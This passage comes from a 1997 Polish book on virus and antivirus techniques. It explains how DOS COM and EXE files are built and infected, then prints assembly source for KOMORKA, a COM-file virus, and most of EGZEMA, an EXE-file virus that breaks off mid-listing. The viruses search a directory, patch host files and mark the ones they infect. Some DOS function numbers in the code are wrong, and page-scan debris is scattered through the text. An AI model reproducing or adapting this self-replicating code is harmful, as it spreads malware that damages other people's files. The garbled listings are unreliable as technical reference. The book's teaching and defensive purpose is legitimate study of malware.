Pola wykorzystywane wewnętrznie przez różne systemy 
operacyjne

50-52

Kod rozkazów: INT 21 h RETF

53-54

Nie używane

55-5B

Nie używane, można użyć, aby zmienić standardowy blok FCB 
na rozszerzony blok FCB

background image

5C-6B

Standardowy blok opisu pliku FCB1

6C-7B

Standardowy blok opisu pliku FCB2

7C-7F

Nie używane

80-FF

Bufor transmisji dyskowych DTA. Bezpośrednio po
uruchomieniu programu zawiera jego wiersz wejściowy, 
zawierający parametry podane z linii poleceń, zakończony 
znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza 
wejściowego nie uwzględniając znaku CR.

Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów 
ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku 
PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie 
(zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy 
dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych 
bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy 
rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością 
dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu 
sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu 
odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod 
adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku 
kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na 
większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo 
wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu 
infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko 
stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie 
większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, 
tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 
wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po 
wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu 
segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie 
może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub 
nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt 
długiego pliku COM niszczona będzie część programu znajdująca się przy końcu 
segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu 
wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku
Kod programu w tzw. postaci absolutnej

Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP 

background image

NEAR) 
Kod zainfekowanego programu 
Kod wirusa wraz z zapamiętanymi bajtami początkowymi

Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego 
programu
Zawartość pliku
Kod wirusa
Przesunięty kod zainfekowanego programu
Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki 
COM.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  KOMORKA v1.0, Autor : Adam Blaszczyk 1997                 ;
;                                                                            ;
;              Prosty wirus nierezydentny plikow COM                         ;
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ;
;              znajdujace sie w biezacym katalogu                            ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     KOMORKA.ASM                                           ;
;             TLINK /t KOMORKA.OBJ                                           ;
;                                                                            ;
;----------------------------------------------------------------------------;
KOMORKA SEGMENT
JUMPS
         ASSUME CS:KOMORKA, DS:KOMORKA

         ORG 100h

    NUL          = 00h                     ; \
    LF           = 0Ah                     ;  \ stale znakow
    CR           = 0Dh                     ;  / ASCII
    DOLAR        = '$'                     ; /

    AtrReadOnly  = 00000001b               ; \
    AtrHidden    = 00000010b               ;  \
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu
    AtrDirectory = 00010000b               ;  /
    AtrArchive   = 00100000b               ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

background image

                                           ; atrybut poszukiwanej pozycji
                                           ; katalogu

VirusDlug     = offset (VirusEnd-VirusStart)
                                           ; dlugosc kodu wirusa

VRok          = 1998                       ; \  data opisujaca
VMiesiac      = 13                         ;  - pliki juz zainfekowane
VDzien        = 31                         ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc                             ; struktura DTA bufora transmisji
                                           ; dyskowych uzywanych przez
                                           ; funkcje 4E i 4F
               DTAFill db 21 dup (?)       ; nieistotna czesc
               DTAAttr db ?                ; atrybut znalezionej pozycji
               DTATime dw ?                ; czas znalezionej pozycji
               DTADate dw ?                ; data znalezionej pozycji
               DTASize dd ?                ; dlugosc znalezionej pozycji
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji
DTAStruc ends

Start:                                     ; tu zaczyna sie program ofiary

    db    0E9h,00h,00h                     ; symuluj rozkaz JMP NEAR
                                           ; bedacy czescia zarazonego
                                           ; programu

VirusStart:                                ; tu zaczyna sie kod wirusa

    mov   si,word ptr ds:[101h]            ; pobierz relatywny ofset do miejsca
                                           ; w pamieci, gdzie znajduje sie wirus
                                           ; wartosc ta to czesc rozkazu JMP NEAR
                                           ; na poczatku, przy pierwszym wywolaniu
                                           ; =0000h

    mov   al,byte ptr ds:[si+StareBajty]   ; \  Przywroc zapamietane 3 bajty
    mov   ds:[100h],al                     ;  \ na poczatek programu CS:100h
    mov   ax,word ptr ds:[si+StareBajty+1] ;  / Podczas pierwszego uruchomienia
    mov   ds:[101h],ax                     ; /  jest to kod Int 20h

    lea   dx,[si][TeInformacja]            ; podaj gdzie jest tekst
    Call  Informacja                       ; spytaj o uruchomienie wirusa

background image

    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj
    jmp   BezInfekcji                      ; NIE - nie infekuj

Infekcja:
    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

    lea   dx,[si][MaskaCOM]                ; maska poszukiwanych plikow '*.COM'
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycii
    mov   ah,4Bh                           ; funkcja DOS - szukaj pierwszej
                                           ; pozycji katalogu
    int   21h                              ; wywolaj funkcje DOS
    jc    NieMaPlikuCOM                    ; gdy CF=1, to blad

KolejnyPlik:
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz
                                           ; zarazony ?
    je    SzukajNastepnyPlik               ; tak = szukaj nastepnego

    mov   ax,word ptr [si][NoweDTA.DTASize+2]
                                           ; pobierz starsza czesc dlugosci
                                           ; pliku
    or    ax,ax                            ; czy plik krotszy niz 65536
    jnz   SzukajNastepnyPlik               ; nie - szukaj nastepnego

    mov   ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
    cmp   ax,64000                         ; czy dlugosc <= 64000
    ja    SzukajNastepnyPlik               ; nie - szukaj nastepnego

    cmp   ax,3                             ; czy dlugosc >= 3
    jb    SzukajNastepnyPlik               ; nie - szukaj nastepnego

    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ??
    mov   word ptr [si][Skok+1],ax         ; zapisz do bufora rozkaz skoku

    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1 to blad

    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu
    mov   ax,3D02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    int   21h                              ; wywolaj funkcje DOS

background image

    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   cx,3                             ; ilosc czytanych bajtow
    lea   dx,[si+StareBajty]               ; podaj dokad czytac 3 bajty
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   ax,word ptr [si+StareBajty]      ; wez dwa pierwsze bajty pliku
    cmp   ax,'MZ'                          ; i sprawdz czy to nie EXE
    je    ZamknijPlik                      ; gdy 'MZ', to plik EXE, powrot
    cmp   ax,'ZM'                          ;
    je    ZamknijPlik                      ; gdy 'ZM', to plik EXE, powrot

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem konca pliku
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na koniec pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,VirusDlug                     ; ilosc zapisanych bajtow
    lea   dx,[si+103h]                     ; podaj skad zapisac wirusa
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace
    xor   dx,dx                            ; / adres wzgledem poczatku pliku
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik
                                           ; odczytu/zapisu na poczatek pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,3                             ; ilosc zapisanych bajtow
    lea   dx,[si][Skok]                    ; podaj skad zapisac rozkaz skoku
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku
    mov   ax,5701h                         ; funkcja DOS - wpisz date,czas
    int   21h                              ; wywolaj funkcje DOS

background image

ZamknijPlik:
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik
    int   21h                              ; wywolaj funkcje DOS

PrzywrocAtrybut:
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut, CH=0
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h

SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego
                                           ; plik COM
    int   21h                              ; wywolaj funkcje DOS
    jnc   KolejnyPlik                      ; gdy CF=1, to blad

NieMaPlikuCOM:
    mov   dx,80h                           ; przywroc pierwotne DTA=PSP:80h
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

BezInfekcji:
    mov   ax,100h                          ; \ skocz na poczatek programu
    jmp   ax                               ; / do ofiary

MaskaCOM   db '*.COM'                      ; maska plikow COM (ASCIIZ)
StareBajty db 0CDh,20h,90h                 ; bufor zawiera zapamietane bajty
                                           ; z poczatku programu
                                           ; tu : kod rozkazu int 20h/NOP

Skok       db 0E9h,?,?                     ; rozkaz skoku

; Czesc Informayjna
Informacja:
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$
    int   21h                              ; wywolaj funkcje DOS

    mov   ah,01h                           ; funkcja DOS - czytaj znak
                                           ; ze standardowego wejscia
    int   21h                              ; wywolaj funkcje DOS
                                           ; AL zawiera znak
    push  ax                               ; zapamietaj na chwile znak

    mov   ax,0E0Dh                         ; \  przejdz
    int   10h                              ;  \ do
    mov   ax,0E0Ah                         ;  / nastepnej

background image

    int   10h                              ; /  linii

    pop   ax                               ; przywroc znak

    and   al,11011111b                     ; konwertuj znak na wielka litere
    cmp   al,'T'                           ; czy potwierdzona infekcja
    clc                                    ; ustaw flage na TAK
    je    CLCRet                           ; TAK i powrot
    stc                                    ; ustaw flage na NIE i powrot
CLCRet:
    ret                                    ; powrot

TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
             db CR,LF
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
             db DOLAR

VirusEnd:
NoweDTA   DTAStruc <?,?,?,?,?,?>

KOMORKA ENDS
END Start

4.1.2. Pliki wykonywalne EXE

Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu 
DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania 
programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze 
względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania 
systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare 
(ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone 
są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w 
środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie 
danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony 
i w rezultacie plik taki zainfekować.

4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)

Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, 
wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać 
programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie 
pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w 
programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do 
załadowania programów EXE system DOS potrzebuje więcei informacji, niż w 
przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku 
EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. 

background image

Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość 
części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku 
sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być 
równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i 
zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE

00-01

Znacznik pliku EXE. MZ lub ZM

02-03

Liczba bajtów na ostatniej, 512
bajtowej, stronie programu, W praktyce 
oznacza, ile bajtów system DOS musi 
skopiować z ostatniego sektora 
zajmowanego przez program.

04-05

Długość całego pliku EXE, podana w 512-
bajtowych stronach z uwzględnieniem 
nagłówka i ostatniej strony opisanej w 
polach 02h-03h. W praktyce oznacza ilość 
sektorów zajmowanych przez program,

06-07

Liczba elementów relokowalnych w 
programie, czyli liczba 4-bajtowych 
rekordów, znajdujących siew 
niesformatowanej części nagłówka, 
opisujących miejsca w kodzie programu 
(jako segment: przesunięcie; w każdym 
rekordzie przesunięcie znajduje się przed 
segmentem), gdzie należy dodać segment, 
pod który ładowany jest program

08-09

Długość nagłówka w 16-bajtowych 
paragrafach

0A-0B

Minimalna wymagana pamięć poza 
załadowanym kodem programu, podana w 
16-bajtowych paragrafach

0C-0D

Maksymalna wymagana pamięć poza 
załadowanym kodem programu, podana w 
16-bajtowych paragrafach

0E-0F

Początkowa wartość rejestru 
segmentowego stosu (SS) względem 
początku programu.

10-11

Początkowa wartość wskaźnika stosu (SP)

12-13

Suma kontrolna (zanegowana suma 
wszystkich bajtów w pliku), nie używana 
przez DOS, stąd pole to może posłużyć 
jako wskaźnik zainfekowania pliku

14-15

Początkowa wartość licznika rozkazów IP

16-17

Początkowa wartość rejestru segmentu 
kodu CS względem początku programu.

18-19

Adres pierwszej pozycji tablicy relokacji w 

background image

stosunku do początku pliku. Jeżeli pole jest 
równe 40h lub więcej, jest to 
prawdopodobnie nowy plik EXE

1A-1B

Numer nakładki

Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące 
pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, 
odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą 
instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu 
niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. 
wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod 
programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża 
plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie 
pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych 
plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za 
wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić 
do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest 
bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu 
COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w 
nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on 
załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w 
programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej 
(są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach 
występujących w programie). Adresy w pamięci, które trzeba w ten sposób 
zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie 
sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych 
bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie 
wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować 
zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, 
czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w 
nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to 
prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno 
być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego 
poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością 
obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli 
wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można 
zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o 
długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem 
ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie 
jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował 
się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by 
się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały 
poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na 

background image

bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe 
problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE 
zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-
bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na 
odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości 
rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na 
wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także 
początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, 
iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować 
parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby 
uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba 
wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do 
oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu 
polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo 
dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami 
bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza 
adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO 
OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku 
wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku 
wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność 
modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa 
w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, 
co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych 
tabelach.

Struktura niezainfekowanego pliku EXE        
Zawartość pliku            
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM'
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś 
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Ewentualna nakładka                 

Struktura zainfekowanego pliku EXE           
Zawartość pliku   
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z 
wprowadzonymi przez wirusa zmianami
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś 
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu 
Kod wirusa
Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża 
plików z wewnętrznymi nakładkami

background image

Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                  EGZEMA v1.0, Autor : Adam Blaszczyk 1997                  ;
;                                                                            ;
;              Prosty wirus nierezydentny plikow EXE                         ;
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ;
;              znajdujace sie w biezacym katalogu                            ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM  EGZEMA.ASM                                               ;
;             TLINK EGZEMA.OBJ                                               ;
;                                                                            ;
;----------------------------------------------------------------------------;
EGZEMA SEGMENT
JUMPS
         ASSUME CS:EGZEMA, DS:EGZEMA

    NUL          = 00h                     ; \
    LF           = 0Ah                     ;  \ stale znakow
    CR           = 0Dh                     ;  / ASCII
    DOLAR        = '$'                     ; /

    AtrReadOnly  = 00000001b               ; \
    AtrHidden    = 00000010b               ;  \
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu
    AtrDirectory = 00010000b               ;  /
    AtrArchive   = 00100000b               ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory
                                           ; atrybut poszukiwanej pozycji
                                           ; katalogu

VirusDlug     = offset (VirusEnd-VirusStart)
                                           ; dlugosc kodu wirusa

VRok          = 1998                       ; \  data opisujaca
VMiesiac      = 13                         ;  - pliki juz zainfekowane
VDzien        = 31                         ; /

VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc                             ; struktura DTA bufora transmisji

background image

                                           ; dyskowych uzywanych przez
                                           ; funkcje 4E i 4F
               DTAFill db 21 dup (?)       ; nieistotna czesc
               DTAAttr db ?                ; atrybut znalezionej pozycji
               DTATime dw ?                ; czas znalezionej pozycji
               DTADate dw ?                ; data znalezionej pozycji
               DTASize dd ?                ; dlugosc znalezionej pozycji
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji
DTAStruc ends

VirusStart:                                ; tu zaczyna sie kod wirusa

    Call  Trik                             ; \
Trik:                                      ;  \
    pop   si                               ;  / oblicz relatywny ofset
    sub   si,3                             ; /

    push  cs                               ; \ DS=CS=kod wirusa
    pop   ds                               ; /

    mov   ax,es                            ; \ es=PSP+10h
    add   ax,10h                           ; /

    add   [si][StarySS],ax                 ; \
    push  [si][StarySS]                    ;  - zachowaj wartosci stosu
    push  [si][StarySP]                    ; /  dla nosiciela

    add   ax,[si][StaryCS]                 ; \
    mov   [si][SkokCS],ax                  ;  \ utworz pelny rozkaz skoku
    mov   ax,[si][StaryIP]                 ;  / do nosiciela
    mov   [si][SkokIP],ax                  ; /

    lea   dx,[si][TeInformacja]            ; podaj gdzie jest tekst
    Call  Informacja                       ; spytaj o uruchomienie wirusa

    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj
    jmp   BezInfekcji                      ; NIE - nie infekuj

Infekcja:
    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA
    int   21h                              ; wywolaj funkcje DOS

    lea   dx,[si][MaskaEXE]                ; maska poszukiwanych plikow '*.EXE'
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycii
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej

background image

                                           ; pozycji katalogu
    int   21h                              ; wywolaj funkcje DOS
    jc    BezInfekcji                      ; gdy CF=1, to blad

KolejnyPlik:
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz
                                           ; zarazony ?
    je    SzukajNastepnyPlik               ; tak = szukaj nastepny

    cmp   word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ?
    jb    SzukajNastepnyPlik               ; nie = szukaj nastepny

    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu
    mov   ax,3D02h                         ; funkcja DOS - otworz plik
                                           ; do odczytu i zapisu
    int   21h                              ; wywolaj funkcje DOS
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad

    xchg  ax,bx                            ; przenies uchwyt pliku do BX

    mov   cx,26                            ; ilosc czytanych bajtow
    lea   dx,[si][Naglowek]                ; podaj dokad czytac 26 bajty
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku
    int   21h                              ; wywolaj funkcje DOS
    jc    ZamknijPlik                      ; gdy CF=1, to blad

    mov   ax,word ptr [si][Naglowek]       ; wez dwa pierwsze bajty pliku
    cmp   ax,'mz'                          ; i sprawdz, czy to EXE
    je    JestEXE                          ; gdy 'MZ', to plik EXE
    cmp   ax,'zm'                          ;
    jne   ZamknijPlik                      ; gdy 'ZM', to plik EXE

JestEXE:
    cmp   word ptr [si][Naglowek+18h],40h  ; czy plik Nowy EXE ?
                                           ; (pominiete zostana takze
                                           ;  niektore pliki EXE z ustawionym
                                           ;  adresem tablicy relokacji > 40h)
    jae   ZamknijPlik                      ; TAK - szukaj nastepny

    mov   ax,word ptr [si][Naglowek+14h]   ; \  zachowaj stare CS i IP

background image

    mov   [si][StaryIP],ax                 ;  \ z pliku
    mov   ax,word ptr [si][Naglowek+16h]   ;  /
    mov   [si][StaryCS],ax                 ; /
    mov   ax,word ptr [si][Naglowek+10h]   ; \  zachowaj stare SS i SP
    mov   [si][StarySP],ax                 ;  \ z pliku
    mov   ax,word ptr [si][Naglowek+0Eh]   ;  /
    mov   [si][StarySS],ax                 ; /

    mov   ax,word ptr [si][Naglowek+08h]   ; \  wez dlugosc naglowka w
    mov   cx,16                            ;  - paragrafach i oblicz
    mul   cx                               ; /  jego dlugosc w bajtach
    mov   bp,ax                            ; \ zachowaj dlugosc na pozniej
    mov   di,dx                            ; /

    mov   ax,word ptr [si][Naglowek+04h]   ; wez ilosc stron
    cmp   word ptr [si][Naglowek+02h],0    ; czy ilosc bajtow na ostatniej stronie=0
    jz    NieZmniejszaj                    ; TAK - nie zmniejszaj ilosci stron
    cmp   ax,0                             ; czy ilosc stron=0 ?
    jz    NieZmniejszaj                    ; TAK - nie zmniejszaj ilosci stron
    dec   ax                               ; NIE zmniejsz ilsoc stron o jedna
NieZmniejszaj:
    mov   word ptr [si][Naglowek+04h],ax   ; zapisz na pozniej

    mov   cx,512                           ; wez dlugosc obrazu programu w stronach
    mul   cx                               ; i oblicz jego dlugosc w bajtach
    add   ax,word ptr [si][Naglowek+02h]   ; dodaj ilosc bajtow na ostatniej stronie
    adc   dx,0                             ; dodaj ewentualne przeniesienie

    cmp   ax,word ptr [si][NoweDTA.DTASize]
                                           ; \  czy rozmiar obrazu z naglowka
    jne   ZamknijPlik                      ;  \ jest rowny dlugosci pliku ?
    cmp   dx,word ptr [si][NoweDTA.DTASize+2]
                                           ;  / TAK - infekuj
    jne   ZamknijPlik                      ; /  NIE - prawdopodobnie nakladka

    sub   ax,bp                            ; \ odejmij od dlugosci pliku
    sbb   dx,di                            ; / dlugosc naglowka
                                           ; ax,dx=dlugosc kodu programu
    mov   cx,16                            ; oblicz nowe CS i SP
    div   cx                               ; dla programu

    mov   word ptr [si][Naglowek+14h],dx   ; zachowaj nowe IP
    mov   word ptr [si][Naglowek+16h],ax   ; zachowaj nowe CS
